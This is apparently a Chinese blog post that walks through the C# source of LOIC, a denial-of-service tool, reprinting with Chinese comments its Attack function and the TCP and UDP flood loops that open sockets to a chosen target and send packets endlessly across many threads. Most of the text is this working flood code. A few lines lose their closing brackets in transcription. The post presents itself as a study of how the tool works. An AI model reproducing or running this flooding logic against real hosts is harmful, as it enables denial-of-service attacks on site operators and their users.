本文原创作者:VillanCh 声明:Loic开源,仅作学习交流用,用作任何非法攻击事件与本站和本作者无关。 Loic介绍: Loic(低轨道离子加农炮)是一个叫4Chan-affiliated的团体开发的,这个工具被成千上万的匿名使用者使用,在网络环境中,造成了很多混乱,使用DDos来对一个网站进行压力测试。 就我自己而言,我是不喜欢这个工具的,但是很多人对这个工具属于一种崇拜。我一直以为loic这个工具是直接在链路层进行Flood,有非常高的效率或者怎么样的技术水平,但由于当时自己一直没有去寻找Loic的源码,没有去了解Loic到底是怎么一种"神奇"的工具。但是后来知道这玩意C#写的,之前没看过C#的项目,随意搜了一下百度什么的,我很好奇为什么大家对这个东西的源码闭口不提,也许是因为太无聊?也许是因为大家不屑于提这个所谓的加农炮?不管是好是坏这种无聊的事情,就给我这种无聊的人来做吧。 攻击原理 来自wiki的解释 这里关于DoS与DDoS有很详细的解释,有兴趣的读者可以去详细看一下,个人觉得wiki还是很客观地在解释这个问题,但是鉴于wiki中有一些网络术语,如果大家阅读有困难的话,我可以很通俗地来解释一下DoS(DDoS)拒绝服务攻击: 我们浏览一个网站,就要像这个网站发送数据包(合理请求),因为请求完全合理,那么也就意味着,网站将会正常处理我们的请求,这样就是说每一个请求都会消耗一些资源,那么在这样一种情景:比如大学抢课经常出现几千人同时在同一时间上网导致服务器"瘫痪"的事件,那么如果大家能理解到这里的话,我们简单来解释DoS就会变得很容易了,Dos就是你不停的发送某一个请求去占用服务器系统资源,就好比你充当了很多人同时访问一个网站一样,如果网站服务器无法承受这种压力的话自然会崩溃,对不对? DoS:拒绝服务攻击DDos:分布式拒绝服务攻击虽然只是三个字(一个字母)的差别,这两个攻击的威力差别很大,Dos大多数只不过指的是一台主机(攻击机)对目标进行攻击(发送过量的数据包请求来占用服务器资源),而DDoS是一群计算机(被控制者控制的僵尸网络)对目标发起攻击,强度是Dos的很多倍(有幸曾经见过一秒几十G的流量的DDos攻击,僵尸网络包含了多台高性能服务器)。现在截止15年11月aliyun声称他们的服务器已经可以抵御每秒上百G的DDos流量攻击。 Loic初探 Github上down下zip项目源码,打开 没错就这么简单,没什么神奇的,初步看了一下,没错就是C#写的,其实这些真的没什么神奇的,下图是VS2013的界面,打开以后就是这个样子而已,如果你自己开发工具的话,我觉得也不过这样子,其实就是一个很普通的项目罢了,项目截图在下面,大家可以随意感受一下:
至于为什么我打开这个界面?相信大家有过MFC或者C#编程基础的同学都知道这样来分模块看代码不容易乱(这是什么理论),那我们就继续?OK 我们现在应该做什么?还是先点一下启动吧,看看这个神秘的东西到底是怎么样的状况:
看起来非常容易使用,实际上,建议大家在虚拟环境做一下小实验,我们并不是要对这个工具讲解用法,这样没任何意义。我们是来分析Loic源码的,那么我们现在就开工吧! 关于这个项目的源码分析说明: 在开始分析以前,默认大家是有一定的软件开发基础的,但是笔者还是会很努力用一种简单的方式来讲述,以至于不懂得C#但是懂得其他的OOP语言的读者也能懂得项目函数的意义。 首先要做的是在双击开始攻击按钮,
然后转到
选中右键attack, 点击查看定义或者转到定义
然后我们就看到了发动攻击模块的源代码了 然后我直接复制过来方便在注释中讲解一下攻击逻辑 /* 我们直接转到了Attack函数,这样可以直接了解它的攻击逻辑模块 想必是极好的 首先Attack函数有三个参数 参数一:toggle是开关的意思,toggle为true且攻击按钮的文本是IMMA CHARGIN MAH LAZER时发动攻击。 参数二:on也是开关,这个开关当toggle为false且on为true的时候发动攻击。 参数三:设置静默攻击,(如果不是静默攻击的话,会提示出很多的恼人的Messagebox 再来看一下引用情况: LOIC\frmMain.cs 408:Attack(false,false,true); 504:Attack(false,true,true); 574:Attack(true,false,false); */ private void Attack(bool toggle, bool on, bool silent) { /* 这个if表明开始攻击的条件 确认cmdAttack.Text的内容并且同时toggle为true时,开始执行if内语句 或者 toggle为false且on为true时开始执行if内语句 */ if((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true)) { try { /* 关于下面这两个try部分的内容,其实很好理解,就是设置端口和线程数,如果没有设置成功就会throw一个异常 */ try { iPort = Convert.ToInt32(txtPort.Text); } catch { throw new Exception("I don't think ports are supposed to be written like THAT."); } try { iThreads = Convert.ToInt32(txtThreads.Text); } catch { throw new Exception("What on earth made you put THAT in the threads field?"); } /* 锁定IP,如果IP没填或者不对的话,抛出一个异常 */ sIP = txtTarget.Text; if(String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !")) throw new Exception("Select a target."); /* 这里是对sHost进行处理,sHost是目标主机名称,填了域名就是域名,没有填域名就是IP地址 */ if( String.IsNullOrEmpty(sHost) ) sHost = sIP; if( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost); sHost = new Uri(sHost).Host; /* * 关于攻击方式的选择 * 这里提供了三个可选方式 * 1代表TCP * 2代表UDP * 3代表HTTP */ iProtocol = 0; sMethod = cbMethod.Text; if(String.Equals(sMethod, "TCP")) iProtocol = 1; if(String.Equals(sMethod, "UDP")) iProtocol = 2; if(String.Equals(sMethod, "HTTP")) iProtocol = 3; if(iProtocol == 0) throw new Exception("Select a proper attack method."); /* 这里显然是设置发送的数据包中的数据的 * 我猜你不会把自己的名字写进去的,对吧? */ sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n"); if(String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2)) throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O"); /* * 这里是针对http subsite设置的一个text */ sSubsite = txtSubsite.Text; if(!sSubsite.StartsWith("/") && (iProtocol == 3)) throw new Exception("You have to enter a subsite (for example \"/\")"); /* * 设置超时信息 */ try { iTimeout = Convert.ToInt32(txtTimeout.Text); } catch { throw new Exception("What's up with something like that in the timeout box? =S"); } } /* * 异常处理(略) * 有经验的朋友我想这里不是问题, * 如果不懂得这里的代码是什么意思,我们可以简单理解为 * 如果发现上面try的代码抛出异常 * 捕获异常以后执行下面代码 */ catch (Exception ex) { if(silent) return; new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return; } /* * 在正式的攻击开始之前先将文本设置为Stop Flooding */ cmdAttack.Text = "Stop flooding"; /* * 首先,对TCP和UDP的攻击方式进行处理 */ if(String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP")) { /* * 按照线程数建立XXPFlooder对象 * 一个线程对应一个XXPFlooder对象。 * * xxp是一个存储攻击对象数组 */ xxp = new XXPFlooder[iThreads]; for (int a = 0; a < xxp.Length; a++) { /*为每一个线程设计攻击参数 * sIP 目标ip地址 * iPort 目标端口号 * iProtocol 要是用的攻击协议 * iDelay 延迟 * chkWaitReply.Checked 是否判断需要受到回复(当然不检查回复的攻击速度更快) * sData 数据包的Data * chkAllowRandom.Checked 检查是否需要随机 * */ xxp[a = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked); /* 启动 */ xxp[a].Start(); } } /* * 这里代码的组织形式和上面一样,我就不再多讲了,大家很容易可以看懂 */ if(String.Equals(sMethod, "HTTP")) { http = new HTTPFlooder[iThreads]; for (int a = 0; a < http.Length; a++) { http[a = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked); http[a].Start(); } } /* * 更新攻击的动态 */ tShowStats.Start(); } /* * 如果toggle是true或者是on为false时,关闭攻击 */ else if(toggle == true || on == false) { cmdAttack.Text = "IMMA CHARGIN MAH LAZER"; if(xxp != null) { for (int a = 0; a < xxp.Length; a++) { xxp[a].IsFlooding = false; } } if(http != null) { for (int a = 0; a < http.Length; a++) { http[a].IsFlooding = false; } } //tShowStats.Stop(); } }
接下来我们对照几个图片来理解一下段代码的意思 首先是 这样我们就对整体上的攻击逻辑和参数设置有了一定的了解,但是我们还没有深入去看到底是怎么样的攻击方法会造成Dos? 寻找真正的攻击模块 显然我们需要更加深层去看一下接下来的内容,以TCP模式的攻击为例,我们继续深入看一下攻击模块 首先我们需要找到真正的攻击模块, 右击Start然后选择"转到定义" /* * 然后我们找到了Start()启动攻击开关 */ public void Start() { /* 设置开始攻击的标志 */ IsFlooding = true; /* * BackgroundWorker 是一个负责后台运行的程序 * * 设置后台运行的对象 */ BackgroundWorker bw = new BackgroundWorker(); /* 这里设置真正后台运行的程序,下面代码表明了后台线程函数名称是bw_DoWork */ bw.DoWork += new DoWorkEventHandler(bw_DoWork); bw.RunWorkerAsync(); }Hummmm 到这里我们似乎是找到了攻击模块但是还不是我们想要的。显然我们需要去寻找bw_DoWork这个函数,那么我直接把函数写在下面方便大家看,同样的代码里我尽可能详细地加入了注释,我相信大家都还是可以理解的。 /* 这个bw_DoWork就是真正每一个线程后台在起作用的部分 * 换句话说,这就是每个线程真正在做的事情 */ private void bw_DoWork(object sender, DoWorkEventArgs e) { try { byte[] buf; /* IPEndPoint 表示通过IP和Port建立一个表示被攻击的主机的网络节点,*/ IPEndPoint RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port); /* 开始进入攻击循环 */ while (IsFlooding) { //建立socket Socket socket = null; //如果是TCP的攻击模式的话执行if内语句。 if(Protocol == 1) { //初始化Socket对象 socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); //设置为不延迟 socket.NoDelay = true; //调用socket去链接目标,其实这已经算是完成了一次攻击 //因为去连接的时候要进行很经典的三次握手 //(如果对TCPIP协议族有兴趣的读者可以自行研究) try { socket.Connect(RHost); } catch { continue; } /* * 设置是否阻塞, * 关于阻塞的概念,我们简单理解为 * 如果阻塞的话,必须等待回复之后才可以进行另外的连接 * 如果设置非阻塞,无需等待回复,直接可以进行连接 */ socket.Blocking = Resp; try { while (IsFlooding) { //这里开始正式的攻击计数 FloodCount++; //下面是一条复合语句,如果大家阅读有困难的话我可以解释一小下 //如果随机选项被设定的话,可以随机产生Data+String的数据,并且被ASCII编码,传递给buf buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) )); //发送随机无效的数据 socket.Send(buf); //延迟+1,如果延迟过短的话很有可能造成紊乱,当然延迟大的话,攻击效果可能差一点 if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1); } } catch { } } /* 同样的,下面的代码和上面的代码如出一辙,真的很简单。不是么? */ if(Protocol == 2) { socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); socket.Blocking = Resp; try { while (IsFlooding) { FloodCount++; buf = System.Text.Encoding.ASCII.GetBytes(String.Concat(Data, (AllowRandom ? Functions.RandomString() : null) )); socket.SendTo(buf, SocketFlags.None, RHost); if(Delay >= 0) System.Threading.Thread.Sleep(Delay+1); } } catch { } } } } catch { }
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